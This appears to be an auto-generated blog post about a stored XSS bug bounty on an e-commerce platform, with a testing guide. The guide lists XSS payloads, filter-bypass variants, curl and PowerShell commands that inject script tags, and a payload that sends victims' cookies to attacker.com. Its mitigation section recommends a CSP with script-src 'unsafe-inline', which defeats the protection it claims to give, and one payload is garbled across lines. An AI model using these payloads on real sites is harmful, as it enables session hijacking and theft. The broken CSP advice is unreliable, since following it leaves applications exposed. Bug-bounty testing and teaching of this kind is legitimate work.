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A security researcher, Ching-Yen Tseng, discovered a Stored XSS (Cross-Site Scripting) vulnerability in a major e-commerce platform. The flaw was found in an input field that, when exploited, allowed for a CSRF-deliverable attack executed on a high-trust page. The report was rewarded with $250, a CVSS 6.1 rating, and +15 reputation points on YesWeHack.
Key Details of the Exploit:
- Stored XSS: Malicious script persisted in the application.
- CSRF-Deliverable: Could be triggered via Cross-Site Request Forgery.
- High-Trust Page Execution: Increased impact due to the target’s credibility.
You Should Know: How to Test for Stored XSS
1. Basic XSS Payloads to Test
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<
svg/onload=alert(1)>
2. Advanced Exploitation (Stealing Cookies)
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
3. Bypassing Filters
- Hex Encoding:
<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script> - Unicode Obfuscation:
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
4. Automating XSS Discovery with Tools
- Burp Suite: Intercept requests and modify inputs.
- XSS Hunter: Automates payload delivery and callback detection.
- OWASP ZAP: Automated scanning for XSS flaws.
5. Mitigation Techniques (For Developers)
- Input Sanitization: Use libraries like DOMPurify.
- Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
- HTTPOnly Cookies: Prevent JavaScript access.
What Undercode Say
Stored XSS remains a critical web vulnerability due to its persistence and potential for session hijacking, phishing, and malware delivery. Security researchers must continuously test input fields, especially in e-commerce and high-value platforms.
Related Linux & Windows Commands for Security Testing
– Linux (Curl to Test Payloads):
curl -X POST "https://target.com/search" -d "query=<script>alert(1)</script>"
– Windows (PowerShell HTTP Request):
Invoke-WebRequest -Uri "https://target.com" -Method POST -Body "input=<script>alert(1)</script>"
– Log Analysis (Check for Exploits):
grep -r "script" /var/log/nginx/access.log
Expected Output:
A successful XSS test will execute JavaScript in the victim’s browser, demonstrating the vulnerability.
Prediction
As e-commerce platforms grow, automated XSS scanners will become more sophisticated, but so will filter evasion techniques. Expect more DOM-based XSS and blind XSS findings in bug bounty programs.
Would you like a deeper dive into CSRF exploitation or advanced XSS bypass techniques? Let us know!
References:
Reported By: Ching Yen – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
